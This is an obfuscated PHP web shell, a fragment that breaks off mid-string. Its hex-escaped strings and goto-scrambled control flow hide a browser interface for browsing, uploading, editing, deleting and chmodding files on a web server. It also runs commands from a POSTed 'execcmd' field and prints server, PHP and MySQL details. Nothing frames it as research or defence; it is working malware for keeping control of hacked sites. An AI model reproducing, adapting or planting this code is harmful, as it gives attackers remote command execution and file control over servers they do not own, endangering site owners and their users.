Je2gA: goto c4NS2; r6yia: goto Je2gA; goto XrNvF; c4NS2: } goto yLU0O; FhGzc: function fGYw1($FK4d6, $jOTZk) { goto mT7h7; TYCSS: aP02V: goto Kp1c7; Rp3J0: $zErae = strlen($jOTZk) - 1; goto TYCSS; aSOtD: if (!(is_dir($FK4d6) || is_file($FK4d6))) { goto KFsRI; } goto e7dUt; VxNBY: --$zErae; goto ZvLKF; Ii1Xf: m50Oe: goto EQXoo; ZvLKF: goto aP02V; goto UXt25; e7dUt: if (!chmod($FK4d6, $LCW_S)) { goto m50Oe; } goto vu_Dt; mT7h7: $LCW_S = 0; goto Rp3J0; qWuht: VkyFb: goto VxNBY; Kp1c7: if (!($zErae >= 0)) { goto nlWHW; } goto KsKjI; KsKjI: $LCW_S += (int) $jOTZk[$zErae] * pow(8, strlen($jOTZk) - $zErae - 1); goto qWuht; EQXoo: KFsRI: goto RxyMT; vu_Dt: f2y3t("\x50\145\x72\155\x69\x73\x73\151\157\x6e\40\146\x6f\162\x20" . $FK4d6 . "\x5c\x6e\x43\x68\x61\156\x67\x65\x64\40\164\157\x20\55\x3e\40" . $jOTZk); goto Ii1Xf; UXt25: nlWHW: goto aSOtD; RxyMT: } goto Cq9ID; OhcY4: NbHdV: goto Dj8ry; sR1SU: l7TE1: goto aIh43; u2Psj: A6KR2: goto dC1QV; K8G1p: echo uGwhK($_GET["\156"]); goto jUVbS; qBcvL: echo "\x3c\57\x6e\157\142\x72\x3e\xa\x20\40\40\x20\40\x20\x20\40\74\142\x20\x63\x6c\x61\163\x73\75\x22\164\x61\x67\40\x69\x73\x2d\154\151\x67\x68\164\40\150\x61\x73\55\164\145\x78\x74\x2d\x64\x61\162\153\40\155\162\55\x32\x22\x3e\x4d\x79\123\x51\114\x3c\x2f\x62\x3e\xa\40\x20\x20\x20\x20\40\x20\x20\74\156\157\142\x72\76"; goto Vk0NB; jsW6g: die("\143\150\145\143\x6b\55\162\x65\163\x75\154\x74\55\x30"); goto d7XNG; fQcpx: X1heF: goto krM1G; HiUWT: $huZFR = $_POST["\172\151\160\x66\x69\x6c\x65"]; goto aMauj; fsnFz: Zdbyj: goto LWcmT; FkiWe: function F2y3T($oJwbz, $wWmdu = 1, $FK4d6 = '') { goto yyUAs; yyUAs: global $keVpk; goto Ggz2v; b7Iui: echo "\x3c\163\143\x72\151\x70\164\x3e\163\x77\141\154\50\173\164\151\x74\154\145\72\40\x22{$VpA9t}\42\x2c\x20\x74\x65\170\x74\72\40\x22{$oJwbz}\42\54\x20\151\143\157\156\x3a\40\42{$VpA9t}\42\x7d\51\56\164\150\145\156\x28\x28\142\164\x6e\x43\x6c\x69\x63\153\51\x20\x3d\x3e\x20\173\x63\157\x6e\x73\164\40\x6c\157\x63\75\47" . SIrA4($keVpk) . $FK4d6 . "\47\73\x69\146\x28\142\x74\156\x43\154\151\x63\x6b\46\46\154\x6f\143\51\173\x64\157\x63\165\155\145\156\x74\x2e\154\x6f\143\141\x74\151\157\156\x2e\x68\162\145\146\75\x27\77\x70\x3d\47\x2b\154\157\143\x7d\175\51\x3c\x2f\163\143\162\x69\x70\x74\76"; goto IpEq7; Ggz2v: $VpA9t = $wWmdu == 1 ? "\163\165\143\143\x65\x73\x73" : "\145\x72\162\157\x72"; goto b7Iui; IpEq7: } goto aEVGs; jMwg9: if (!($zErae < 30)) { goto YkZ08; } goto ZxJHB; OrZ4o: C0Md8: goto i4dlG; gFmxG: echo "\106\x61\x69\x6c\x65\x64\40\164\x6f\x20\165\x6e\x7a\151\x70\40\146\x69\x6c\x65\40\x75\163\x69\156\147\40\x63\x6f\x6d\x6d\141\x6e\x64\x20\154\151\156\x65\72\40{$QI9IR}\xa"; goto jGCGI; koPNe: A1Aby: goto cx2iT; nEtKu: xNsqm: goto J2Z1Z; waKUT: goto kWGcU; goto fsnFz; YBovb: zbRWn: goto Gi67v; aIh43: echo "\74\x2f\164\142\x6f\144\171\76\x3c\x2f\164\x61\142\154\145\x3e\12"; goto EkYla; VJrQl: E3PXK: goto PnUlf; ywBVP: F2Y3T("\106\x6f\x6c\144\145\x72\x20" . basename($_POST["\155\141\x6b\145\144\x69\162"]) . "\x20\x63\x72\145\x61\x74\145\x64\41"); goto S_wCk; POOFd: echo $_SERVER["\x53\x45\x52\126\105\122\137\101\104\x44\122"]; goto stDsX; hJOeL: echo substr(@php_uname(), 0, 120); goto ID3JS; pur8d: iyd7_: goto YBovb; YvqIy: echo "\124\x68\x65\40\47\x75\156\172\x69\160\x27\x20\x63\x6f\155\x6d\141\156\x64\x20\151\163\40\x61\166\141\151\154\141\142\154\x65\72\x20" . trim($K1rI2) . "\xa"; goto QOq4Y; ZbLg4: echo "\x3c\x74\x61\x62\154\145\x20\163\x74\x79\154\x65\x3d\x22\x77\x69\144\164\x68\72\61\60\x30\x25\42\x20\x63\x6c\141\x73\x73\75\42\164\x61\142\x6c\145\x20\155\x62\x2d\x32\40\151\x73\55\x66\x61\x6d\x69\x6c\171\55\155\x6f\156\x6f\163\x70\x61\x63\145\42\76\xa\x20\x20\74\164\x68\x65\x61\144\40\x63\x6c\141\x73\163\x3d\x22\x74\x65\x78\164\x2d\154\x69\147\150\164\42\76\xa\x20\40\40\x20\74\x74\x72\76\74\164\150\x3e\116\x61\155\x65\74\x2f\x74\x68\x3e\x3c\164\150\76\x53\151\172\145\x3c\57\164\x68\76\74\x74\150\76\120\x65\x72\155\x69\163\x73\151\157\156\74\57\x74\150\x3e\12\40\x20\x20\40\x20\40\x20\40\x20\40\74\164\150\x3e\x4c\141\163\164\40\115\157\144\151\146\151\x65\x64\74\57\x74\x68\76\xa\x20\x20\40\40\74\164\x68\76\101\143\164\x69\x6f\156\x3c\57\164\150\76\74\x2f\x74\162\76\12\x20\40\x3c\57\164\150\x65\141\144\x3e\xa\40\x20\74\164\142\157\144\x79\40\143\x6c\141\163\x73\x3d\x22\x74\145\170\x74\55\154\151\147\150\x74\x22\76\12"; goto dWgq8; cSOLn: if (!isset($_POST["\x65\x78\145\143\155\144"])) { goto oOGUu; } goto m14ts; g2rop: goto zBzhl; goto udm3W; eIumX: echo $_GET["\x74"] == "\144" ? "\146\x6f\154\x64\145\162" : "\x66\x69\x6c\x65"; goto cItqs; xuNK1: goto Rhx7x; goto FmM8h; GSvI4: function UGWhk($jN21H) { goto L_k5J; j7Ays: $R33Pj = strlen($jN21H) - 1; goto ey6fU; JP5XN: if (!($zErae < $R33Pj)) { goto hAfVm; } goto eMPv2; g_SxY: $zErae += 2; goto tsIzK; tsIzK: goto X4VeH; goto e_kB5; tjy3C: return $YcdOo; goto YvCsc; z8dnR: eUOtl: goto g_SxY; mLCCo: X4VeH: goto JP5XN; eMPv2: $YcdOo .= chr(hexdec($jN21H[$zErae] . $jN21H[$zErae + 1])); goto z8dnR; e_kB5: hAfVm: goto tjy3C; L_k5J: $YcdOo = ''; goto j7Ays; ey6fU: $zErae = 0; goto mLCCo; YvCsc: } goto Qnu8o; Yzggh: QrVTg: goto H351Z; FOIiG: YkZ08: goto sJ72V; k9e4Z: echo uGWhK($_GET["\x6e"]); goto Y43gU; lqGWm: HdZ03: goto Ygctf; vwrwf: die($oJwbz); goto usn9j; zgjy7: $huZFR = fopen(basename($_POST["\x6d\141\153\x65\146\x69\154\x65"]), "\x77") or die(F2y3T("\106\x61\151\x6c\145\144\x20\164\x6f\x20\143\x72\x65\x61\x74\145\40\146\x69\x6c\x65\41", 0)); goto sgdpK; oIhoP: echo "\x20\40\x20\40\74\57\144\x69\166\x3e\12\40\40\x3c\x2f\x64\151\x76\76\12\x20\40\74\x66\x6f\162\x6d\40\155\145\x74\150\157\144\75\42\x70\157\163\164\x22\40\x65\x6e\x63\x74\171\x70\145\x3d\42\x6d\165\x6c\x74\x69\x70\x61\162\164\x2f\x66\157\x72\155\x2d\144\141\x74\141\x22\40\x63\x6c\x61\163\163\x3d\42\146\151\x6c\145\x20\x69\163\x2d\163\x75\143\143\145\163\163\x20\151\163\x2d\x64\x61\x72\153\x20\155\x62\x2d\x30\40\155\x6c\55\x61\165\x74\157\x22\x3e\12\x20\40\40\x20\74\154\141\142\x65\154\x20\143\x6c\x61\163\x73\x3d\42\x66\x69\x6c\x65\x2d\x6c\x61\142\x65\154\42\76\xa\40\40\40\x20\40\x20\74\151\x6e\x70\x75\164\x20\143\x6c\x61\163\163\x3d\x22\x66\x69\x6c\145\x2d\151\156\160\165\x74\x22\40\x74\171\160\x65\75\42\146\x69\x6c\x65\42\x20\x6e\141\155\145\x3d\x22\146\x5b\x5d\x22\40\157\x6e\143\150\x61\x6e\147\145\x3d\x22\164\150\151\163\56\146\x6f\162\x6d\x2e\x73\x75\142\155\x69\x74\x28\x29\42\x20\155\x75\154\164\151\x70\x6c\x65\x20\x2f\x3e\xa\40\40\40\x20\x20\x20\74\x73\x70\x61\x6e\40\x63\x6c\x61\x73\x73\75\x22\146\151\154\145\x2d\143\x74\141\42\x3e\xa\x20\40\x20\40\40\x20\x20\x20\x3c\163\x70\x61\x6e\40\143\x6c\x61\163\163\75\42\146\151\154\x65\x2d\151\x63\157\156\42\x3e\12\x20\40\x20\x20\x20\x20\40\40\40\40\74\151\40\143\154\x61\163\163\x3d\x22\x62\151\40\x62\x69\55\x63\x6c\x6f\x75\144\55\165\x70\154\x6f\x61\144\x2d\x66\x69\154\x6c\x20\x69\163\x2d\163\151\172\x65\55\x35\x22\x20\76\x3c\57\151\x3e\12\x20\40\40\40\40\x20\x20\x20\x3c\x2f\163\160\141\x6e\x3e\xa\x20\x20\40\40\40\x20\40\40\x3c\163\x70\x61\156\40\143\154\x61\x73\x73\x3d\x22\x66\x69\154\145\55\x6c\x61\142\x65\x6c\42\76\x55\x70\x6c\157\141\x64\x20\106\151\154\145\163\342\200\xa6\74\x2f\x73\160\x61\156\76\xa\40\x20\x20\x20\40\x20\74\x2f\163\160\x61\x6e\x3e\12\40\x20\x20\40\74\x2f\x6c\x61\142\145\x6c\76\xa\x20\x20\74\57\146\x6f\162\x6d\x3e\xa\x3c\x2f\x64\x69\x76\76\xa\xa\xa\x3c\141\x72\x74\151\143\x6c\x65\x20\x63\x6c\141\163\x73\x3d\x22\155\164\x2d\x32\42\76\12"; goto GGNqi; yAZoh: echo m9jKO; goto o7FZW; lQQJ8: $Q0FGf = "\x30\61\x32\63\x34\x35\x36\67\x38\71\x61\x62\x63\x64\x65\x66\147\150\x69\x6a\153\154\x6d\156\x6f\x70\161\x72\163\164\165\166\x77\x78\171\x7a"; goto IZHGt; Gq4B7: f2Y3t("\146\157\154\x64\x65\162\40\144\145\154\145\164\x65\x64\x20\x73\165\143\143\145\x73\x73\146\x75\x6c\x6c\x79"); goto NVoZA; He1Ij: $qJtBd->close(); goto eLrPW; DMRFr: goto sl6BV; goto V8laz; Bsshy: echo UGwHK($_GET["\x64"]); goto lhxFV; tzxxE: fclose($huZFR); goto dQvpc; KjXt9: dNIIH: goto NbQpR; lhxFV: echo "\x3c\x2f\154\141\x62\145\x6c\x3e\12\40\x20\x20\40\x20\x20\x3c\151\156\x70\x75\164\40\x74\171\x70\145\75\x22\x68\151\x64\x64\x65\156\x22\x20\156\141\155\145\x3d\x22\143\147\x66\x22\x20\x76\141\154\165\x65\x3d\42"; goto rwbJh; IJK5e: if (!is_dir(UgwHk($_GET["\x70"]) . "\x2f" . uGWhk($_GET["\144"]))) { goto lA959; } goto HD3Iq; Und2g: $I8vAC = ''; goto eEOh3; HJu9V: ezLha: goto r2NiQ; zl_wE: unlink($E5Z_f); goto qgmWb; NzkH4: isset($_POST["\x73"]) ? $mWJjd[16]($keVpk . "\x2f" . UgWHk($_GET["\x6e"]), $_POST["\156"]) ? f2Y3t("\163\165\x63\x63\x65\163\x73\146\165\x6c\x6c\171\40\143\150\x61\x6e\x67\x65\x64\x20\x74\x68\x65\40\146\157\154\144\145\162\40\156\141\155\x65") : f2y3t("\146\141\x69\154\x65\144\40\x74\x6f\x20\143\x68\x61\156\147\x65\x20\164\150\145\x20\x66\x6f\x6c\144\x65\x72\x20\156\141\x6d\145", 0) : null; goto CRCRe; ab_vv: foreach ($C1o8f as $dU_aF) { goto dalmg; Wh9AQ: $FZL46 = $FZL46 > 1024 ? round($FZL46 / 1024, 2) . "\74\x62\76\115\x42\x3c\x2f\142\76" : $FZL46 . "\x3c\142\76\x4b\x42\74\x2f\x62\76"; goto ejXXS; ejXXS: echo "\74\164\162\76\74\x74\x64\x20\143\x6c\141\x73\x73\x3d\47\x69\x73\x2d\146\x6c\145\x78\x27\x20\x73\164\x79\154\145\75\x27\147\141\160\x3a\x34\160\170\x27\x3e\74\141\40\x68\162\x65\x66\75\x22\x3f\160\75" . siRA4($keVpk) . "\46\x61\x3d" . Sira4("\x76\x69\145\167") . "\46\x6e\x3d" . SIra4($dU_aF) . "\x22\76\x3c\151\40\x63\x6c\141\163\x73\75\42\142\151\40\142\151\x2d\x66\x69\154\x65\55\145\141\162\x6d\x61\162\x6b\55\x66\151\x6c\154\42\40\x64\x61\x74\141\55\156\x61\x6d\x65\x3d\x27{$dU_aF}\47\x3e\74\x2f\151\x3e\x20{$dU_aF}\74\x2f\141\76\x3c\x2f\164\144\76\x3c\x74\144\x3e{$FZL46}\74\x2f\164\x64\76\x3c\x74\x64\x3e\x3c\x61\40\x68\x72\145\146\x3d\x27\x3f\160\75" . siRA4($keVpk) . "\x26\x6e\75" . SIra4($dU_aF) . "\x26\x63\x68\155\x6f\x64\146\75\61\x27\x3e\74\146\x6f\156\x74\x20\143\157\154\x6f\162\x3d\x22" . ($mWJjd[8]("{$keVpk}\x2f{$dU_aF}") ? "\43\x30\60\146\x66\x30\x30" : (!$mWJjd[9]("{$keVpk}\x2f{$dU_aF}") ? "\x72\x65\144" : null)) . "\x22\x3e" . iYzXR("{$keVpk}\x2f{$dU_aF}") . "\74\57\146\x6f\x6e\x74\76\74\x2f\141\x3e\x3c\57\x74\x64\76\74\164\144\76" . $mWJjd[19]("\131\55\155\x2d\144\x20\110\x3a\x69", $mWJjd[20]("{$keVpk}\x2f{$dU_aF}")) . "\74\x2f\x74\144\76\x3c\x74\x64\76\74\x64\151\x76\x20\143\x6c\x61\x73\x73\75\x22\151\163\55\x66\x6c\x65\x78\40\152\165\x73\164\151\x66\x79\x2d\143\x6f\x6e\x74\x65\x6e\x74\55\x62\145\x74\x77\x65\145\x6e\42\40\163\x74\171\154\145\75\x27\x67\x61\160\72\x38\160\170\47\x3e\x3c\141\40\143\x6c\x61\x73\163\75\47\x62\165\164\164\x6f\x6e\x20\x69\163\55\x77\141\162\156\151\x6e\147\40\151\163\55\163\155\x61\154\154\x20\160\170\55\62\40\160\171\x2d\x30\47\x20\150\x72\x65\x66\x3d\42\x3f\160\75" . siRA4($keVpk) . "\x26\141\75" . siRA4("\145\x64\151\x74") . "\46\156\75" . sirA4($dU_aF) . "\42\76\x3c\151\40\143\154\x61\x73\x73\x3d\x22\x62\x69\x20\x62\x69\55\160\145\x6e\143\151\154\x2d\x66\x69\154\154\x20\x69\163\x2d\163\x69\x7a\x65\x2d\x36\40\155\x72\x2d\x31\x22\76\x3c\x2f\x69\76\x20\x45\x64\151\x74\x3c\x2f\x61\76\x3c\x61\40\143\154\x61\163\x73\75\x27\142\x75\164\164\x6f\156\40\x69\x73\x2d\151\x6e\146\x6f\x20\x69\x73\55\163\x6d\x61\154\154\40\160\x78\55\x32\40\x70\171\x2d\60\47\40\150\x72\x65\x66\75\42\77\160\x3d" . sirA4($keVpk) . "\46\x61\x3d" . Sira4("\x72\145\156\141\x6d\x65") . "\x26\x6e\75" . SIrA4($dU_aF) . "\x26\164\75\x66\42\76\74\151\40\x63\154\x61\163\163\75\42\151\x20\142\x69\55\x69\x6e\160\x75\x74\55\x63\x75\162\x73\157\162\x2d\164\x65\170\x74\40\x69\x73\x2d\163\151\x7a\x65\x2d\66\x20\x6d\162\x2d\x31\42\76\74\x2f\x69\76\40\x52\x65\x6e\141\155\145\x3c\x2f\141\x3e\74\141\x20\143\154\141\163\x73\x3d\47\x62\x75\164\x74\x6f\x6e\40\x69\163\55\x6c\151\x6e\153\x20\151\163\x2d\x73\x6d\141\x6c\154\40\160\x78\x2d\62\x20\160\171\55\60\47\40\x68\162\x65\146\x3d\42\77\160\75" . sira4($keVpk) . "\46\156\x3d" . Sira4($dU_aF) . "\x26\x64\x6f\167\156\x6c\x6f\141\144" . "\42\x3e\x3c\151\x20\x63\x6c\x61\163\x73\75\x22\142\x69\x20\142\151\55\x63\154\157\x75\144\55\141\x72\162\x6f\x77\55\144\x6f\167\x6e\x2d\x66\151\154\x6c\40\151\x73\55\x73\151\172\x65\55\x36\40\155\162\x2d\61\42\76\x3c\57\x69\x3e\40\104\x6f\167\x6e\154\157\141\144\74\x2f\x61\x3e\74\141\x20\143\154\x61\x73\163\x3d\x27\x62\x75\x74\164\157\156\40\151\x73\55\144\141\x6e\x67\145\162\x20\151\163\x2d\x73\x6d\141\154\154\x20\160\x78\55\62\x20\160\x79\55\60\x27\40\150\162\145\146\x3d\x22\x3f\160\75" . sIra4($keVpk) . "\x26\x74\75\146\x26\141\x3d" . sirA4("\x64\x65\154\x65\164\x65") . "\x26\156\75" . sIRa4($dU_aF) . "\42\40\x64\x61\x74\141\55\x74\x79\160\145\x3d\42\x66\x69\x6c\145\x22\76\74\151\40\143\x6c\x61\163\163\75\42\x62\x69\x20\142\x69\x2d\x74\162\x61\x73\150\55\146\x69\154\154\x20\x69\163\55\163\x69\x7a\x65\55\66\x20\x6d\x72\x2d\61\42\x3e\74\57\151\76\x20\104\x65\x6c\x65\x74\x65\74\57\x61\76\74\57\x64\151\166\76\74\x2f\164\144\76\74\57\164\162\x3e"; goto pa5Hr; z65fV: goto u4dL2; goto aVM9E; dalmg: if ($mWJjd[7]("{$keVpk}\57{$dU_aF}")) { goto w54e1; } goto z65fV; dmBud: $FZL46 = $mWJjd[10]("{$keVpk}\x2f{$dU_aF}") / 1024; goto j3Z1s; pa5Hr: u4dL2: goto V1Cgh; j3Z1s: $FZL46 = round($FZL46, 1); goto Wh9AQ; aVM9E: w54e1: goto dmBud; V1Cgh: } goto sR1SU; oIwRl: echo "\47\x29\x3b\141\x6c\145\x72\x74\x28\x27\103\157\160\151\145\x64\x20\x74\x6f\40\x63\154\151\x70\x62\157\x61\x72\144\47\x29\73\42\40\143\154\x61\163\163\x3d\42\x69\163\x2d\x66\141\x6d\151\154\x79\55\x6d\157\x6e\157\x73\160\141\x63\145\40\x62\x75\x74\164\x6f\x6e\40\x69\x73\x2d\x70\x72\151\x6d\x61\162\x79\40\x69\163\55\151\x6e\166\x65\162\x74\145\x64\40\x70\x6c\x2d\62\40\151\x73\55\157\165\164\x6c\x69\x6e\x65\x64\x22\76\12\x20\x20\40\40\40\40\40\40\74\142\x20\143\154\x61\x73\163\x3d\x22\164\x61\x67\40\x69\163\55\x70\x72\151\155\141\x72\171\40\x6d\162\55\62\42\x3e\x53\x65\x72\x76\145\162\x20\x53\157\x66\x74\x77\141\x72\x65\74\x2f\142\x3e\12\x20\40\40\40\x20\40\x20\40\74\156\x6f\x62\162\76"; goto wgLuw; usn9j: e3VtV: goto gxKiv; qE85o: if (!file_exists(uGwhk($_GET["\x70"]) . "\57" . uGWHK($_GET["\156"]))) { goto J_eMu; } goto DJowL; IUsOc: echo "\x20\174\x20\x4d\x79\x53\121\114\x20\72\x20"; goto tpaVG; sogkV: echo "\74\x2f\156\157\x62\162\76\74\57\154\x69\x3e\12\40\40\40\x20\74\154\151\76\123\x65\x72\x76\145\162\40\123\157\146\x74\167\141\162\x65\40\x3a\x20\74\156\x6f\x62\x72\76"; goto CE65j; rkBN3: $q5oCr = preg_replace("\57" . SiRa4($_SERVER["\x44\x4f\103\125\x4d\x45\x4e\124\137\x52\117\x4f\124"]) . "\57\x69", '', $_GET["\160"]); goto hVz2W; td1r3: echo "\x3c\x2f\x6e\157\x62\162\76\x3c\x2f\x6c\151\76\12\x20\40\x20\40\x3c\154\x69\76\104\151\163\x61\x62\x6c\x65\x64\x20\x66\x75\x6e\143\x74\151\x6f\156\x73\40\x3a\40\x3c\156\157\142\162\76"; goto ezNsH; Rk1K9: if (!$mWJjd[12]($FK4d6)) { goto t9eud; } goto Fnjyw; EkYla: PmSkv: goto dW_tO; W2gVX: Dq1Td: goto ZbLg4; Uoc5T: if ($uKjJE == "\x65\x64\151\x74") { goto hlaFx; } goto DccwL; vbN4c: $uKjJE = UgWhK($_GET["\x61"]); goto RU3J2; dWgq8: $C1o8f = $mWJjd[5]($C1o8f($keVpk), ["\x2e", "\x2e\56"]); goto ThnZz; lNNW1: if (isset($_GET["\160"])) { goto Zdbyj; } goto zgjy7; OTlAe: $zErae++; goto DMRFr; EJLF0: if (is_dir($_POST["\155\141\153\145\x64\151\162"])) { goto s1Yh0; } goto bXfrx; J2Z1Z: echo "\x3c\57\x64\151\166\76"; goto eaSXg; gxKiv: $fKgA3 = "\x74\x65\163\164\x5f\x63\157\155\155\141\x6e\x64\x2e\x7a\151\x70"; goto n6diT; KIbsI: J_eMu: goto znQki; tpaVG: echo nUt1O(); goto OKn_g; bXfrx: if (!mkdir(basename($_POST["\x6d\x61\x6b\145\x64\151\162"]))) { goto EhEmv; } goto ywBVP; aEVGs: function bl7zL($hKgYg) { goto KoENY; UXnmH: jjwP5: goto YymOP; YymOP: array_map("\x64\x65\x6c\x64\x69\162", glob($hKgYg . DIRECTORY_SEPARATOR . "\173\x2c\56\x7d\x2a", GLOB_BRACE | GLOB_NOSORT)); goto gyCAM; ueeNg: if ($mWJjd[6]($hKgYg)) { goto jjwP5; } goto DN98j; uHTAT: return; goto Lsvv_; PuxGU: if (!(trim(pathinfo($hKgYg, PATHINFO_BASENAME), "\56") === '')) { goto hNmOj; } goto uHTAT; gyCAM: rmdir($hKgYg); goto d9V3X; KoENY: global $mWJjd; goto PuxGU; DN98j: unlink($hKgYg); goto CdqQN; Lsvv_: hNmOj: goto ueeNg; CdqQN: goto BleDP; goto UXnmH; d9V3X: BleDP: goto Wx7Yi; Wx7Yi: } goto VLAWb; GGNqi: if (!isset($_GET["\141"])) { goto Dq1Td; } goto Gnh_S; BCVk_: if (!isset($_GET["\x70"])) { goto xYS3g; } goto rkBN3; d7XNG: goto iyd7_; goto cgrAg; Cq9ID: echo "\x3c\41\x64\157\143\164\x79\160\145\x20\150\164\x6d\x6c\x3e\xa\74\150\164\x6d\154\40\x6c\x61\156\x67\x3d\x22\x65\156\42\x3e\xa\40\x20\x3c\x68\145\141\144\x3e\12\x20\x20\x20\x20\74\x6d\x65\x74\141\40\x6e\x61\155\x65\x3d\42\164\150\x65\155\x65\55\143\157\154\157\162\x22\x20\x63\x6f\x6e\x74\145\x6e\164\x3d\42\162\145\144\x22\x3e\12\40\x20\x20\40\74\155\x65\164\x61\x20\156\x61\x6d\x65\75\x22\x76\x69\x65\167\x70\x6f\162\164\x22\40\x63\x6f\156\164\x65\x6e\164\75\x22\167\151\144\164\x68\75\144\x65\166\151\x63\x65\55\167\x69\144\164\x68\x2c\x20\151\x6e\151\x74\151\x61\154\x2d\163\x63\141\154\x65\75\60\x2e\x36\x30\54\x20\163\150\162\151\156\x6b\55\x74\157\55\x66\151\x74\75\x6e\157\42\76\12\x20\x20\40\x20\74\154\151\156\x6b\40\162\x65\x6c\x3d\42\163\x74\x79\x6c\x65\x73\150\145\x65\164\x22\40\150\162\145\146\x3d\42\150\x74\x74\x70\x73\x3a\57\57\x63\144\x6e\x2e\152\163\x64\145\154\x69\166\162\56\x6e\x65\164\57\x6e\x70\155\x2f\142\x75\154\x6d\141\x40\x31\56\60\x2e\62\57\143\x73\x73\x2f\x62\165\154\155\x61\x2e\x6d\151\x6e\x2e\143\163\163\x22\x3e\12\40\x20\x20\40\x3c\x6c\151\156\153\40\x72\145\x6c\75\x22\163\164\x79\154\x65\x73\150\145\x65\164\x22\40\x68\162\x65\146\x3d\42\x68\x74\164\x70\x73\72\57\57\x63\x64\x6e\x2e\x6a\163\144\145\x6c\x69\166\162\x2e\x6e\145\164\57\x6e\160\x6d\57\142\157\157\164\x73\164\162\x61\x70\x2d\x69\143\157\156\x73\x40\61\56\x31\x31\56\x33\x2f\146\x6f\156\164\x2f\x62\157\157\164\x73\164\x72\x61\x70\x2d\151\143\x6f\156\x73\56\x6d\x69\x6e\x2e\x63\x73\x73\42\76\12\x20\40\40\x20\74\x6c\151\156\153\40\x68\162\145\146\75\x22\150\164\x74\x70\163\72\x2f\57\x63\144\x6e\56\x6a\163\144\145\x6c\151\x76\x72\56\156\145\164\x2f\x6e\x70\155\57\x40\145\170\165\x61\x6e\x62\x6f\57\x66\x69\154\145\55\x69\x63\x6f\156\163\55\152\x73\100\154\x61\164\x65\x73\x74\x2f\144\x69\x73\x74\57\x63\x73\x73\57\146\151\154\x65\55\151\x63\x6f\x6e\163\x2e\155\151\x6e\x2e\x63\x73\x73\42\x20\162\x65\x6c\75\42\163\164\171\x6c\145\x73\150\145\145\164\42\x3e\xa\12\x20\40\x20\x20\x3c\164\151\164\x6c\145\76"; goto AMrTf; HD3Iq: fgYw1($_POST["\143\147\146"], $_POST["\x63\157\x64\x65\170"]); goto LNZmW; cx2iT: echo "\74\146\x6f\162\x6d\40\155\145\x74\150\157\144\x3d\42\160\157\163\164\42\x20\x63\x6c\x61\163\x73\75\42\142\157\x78\x22\40\x73\x74\x79\x6c\145\x3d\x22\142\157\x72\144\x65\162\x3a\62\x70\170\x20\x73\x6f\154\151\144\x20\x68\x73\154\x28\61\67\x31\x2c\40\61\60\60\45\x2c\x20\61\66\45\x29\x22\x3e\12\40\x20\74\x68\x34\40\x63\154\141\163\x73\75\x22\x69\163\55\163\151\x7a\145\55\65\x20\x68\x61\x73\55\x74\145\x78\x74\55\x77\x65\151\147\x68\x74\55\x62\157\154\144\x20\x68\x61\163\55\x74\145\170\x74\55\x70\x72\151\x6d\141\162\171\x20\155\x62\55\x34\42\x3e\x43\162\x65\141\x74\145\40\116\145\x77\40\x46\x6f\154\144\145\162\74\57\150\x34\x3e\12\x20\x20\74\x64\151\x76\40\143\154\x61\x73\163\x3d\x22\x66\x69\145\154\144\42\x3e\xa\40\x20\x20\x20\x3c\x6c\141\142\x65\154\x20\146\157\162\75\x22\x6e\x22\40\143\x6c\x61\x73\163\75\x22\x6c\x61\142\145\x6c\42\x3e\x4e\x61\155\x65\74\x2f\154\141\x62\x65\154\76\12\x20\x20\40\40\x3c\x69\x6e\160\165\x74\x20\156\141\x6d\x65\x3d\x22\156\x22\x20\151\x64\75\42\x6e\x22\40\143\154\141\163\163\75\x22\x69\x6e\x70\x75\164\42\x20\x61\x75\x74\157\x63\x6f\155\160\154\x65\x74\145\75\42\157\x66\146\x22\76\12\x20\x20\x3c\x2f\144\151\166\x3e\12\x20\40\74\x62\x75\164\x74\x6f\156\40\164\171\x70\145\x3d\x22\x73\165\142\155\x69\x74\42\40\x6e\x61\x6d\x65\75\42\163\x22\x20\143\154\x61\x73\163\75\x22\x62\165\x74\x74\157\x6e\40\x69\x73\x2d\x70\x72\151\155\141\162\171\42\x3e\103\x72\145\141\164\145\74\57\142\165\x74\164\x6f\x6e\76\xa\74\x2f\146\157\162\155\76\xa"; goto C_GN8; CzNJw: T17o4: goto efyrq; hB10d: $keVpk = $mWJjd[2](); goto ppGjr; RYjUz: function sIra4($jN21H) { goto wv1BN; PBSAn: eiVC8: goto LKaAH; XsSUD: e7xAP: goto voRJy; t4XU4: UQ2Na: goto OgPc4; YjgWV: goto eiVC8; goto XsSUD; YvCEs: $YcdOo .= dechex(ord($jN21H[$zErae])); goto t4XU4; wv1BN: $YcdOo = ''; goto ff7B0; LKaAH: if (!($zErae < strlen($jN21H))) { goto e7xAP; } goto YvCEs; ff7B0: $zErae = 0; goto PBSAn; OgPc4: $zErae++; goto YjgWV; voRJy: return $YcdOo; goto jsoRn; jsoRn: } goto GSvI4; RXCC4: goto GvegE; goto nXISj; eaSXg: goto PmSkv; goto W2gVX; A6yqx: if (empty($K1rI2)) { goto H2eZY; } goto YvqIy; r5Ado: echo "\x20\x20\74\146\157\x72\x6d\40\155\145\x74\150\x6f\x64\x3d\42\x70\157\163\x74\42\40\x63\x6c\141\x73\x73\x3d\42\x62\x6f\170\42\x20\163\164\x79\154\x65\x3d\42\142\x6f\x72\144\145\x72\x3a\x32\160\x78\x20\163\157\154\151\144\40\x68\x73\x6c\50\x31\67\61\x2c\40\61\x30\60\45\x2c\40\61\x36\x25\51\42\76\12\40\x20\x20\40\74\x68\64\x20\x63\154\x61\x73\x73\x3d\x22\x69\163\x2d\x73\151\x7a\x65\55\x35\40\x68\141\163\55\164\145\170\x74\55\167\145\151\x67\x68\x74\55\142\157\154\144\40\x68\141\x73\55\164\x65\170\x74\55\x70\x72\x69\155\141\162\171\40\x6d\142\x2d\64\42\76\x43\162\145\x61\164\145\x20\116\x65\167\40\x46\151\x6c\145\x3c\57\x68\64\76\xa\40\x20\x20\40\74\144\x69\x76\40\x63\x6c\141\163\x73\75\x22\146\151\145\x6c\144\42\x3e\12\40\40\x20\40\40\40\x3c\x6c\141\142\145\x6c\x20\x66\157\x72\75\x22\x6e\42\x20\x63\154\141\163\x73\75\42\154\x61\x62\145\154\42\76\x46\151\x6c\x65\156\x61\x6d\x65\74\x2f\154\x61\142\145\154\76\xa\40\40\x20\x20\40\40\x3c\151\x6e\x70\165\x74\40\x74\x79\x70\x65\x3d\x22\164\145\x78\x74\42\40\x6e\141\x6d\x65\75\x22\x6e\x22\x20\x69\x64\x3d\x22\156\42\x20\143\x6c\x61\163\x73\75\42\151\156\160\x75\x74\x22\x20\160\154\141\143\x65\x68\x6f\154\144\x65\162\x3d\x22\x68\141\143\x6b\56\164\x78\164\x22\76\xa\x20\x20\40\x20\